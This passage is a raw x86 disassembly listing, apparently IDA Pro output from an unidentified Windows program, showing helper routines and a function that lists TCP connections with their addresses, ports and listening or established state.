sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D94 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D90 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D84 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D84 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D80 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp call near ptr 77C47A90h nop add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw call near ptr 71AB50C8h nop test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj nop call near ptr 27F0769h push eax nop call near ptr 77C371BCh pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j call near ptr 77C371D3h nop cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60B5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E6C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi call near ptr 77C47C60h nop add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE6C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E6C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short 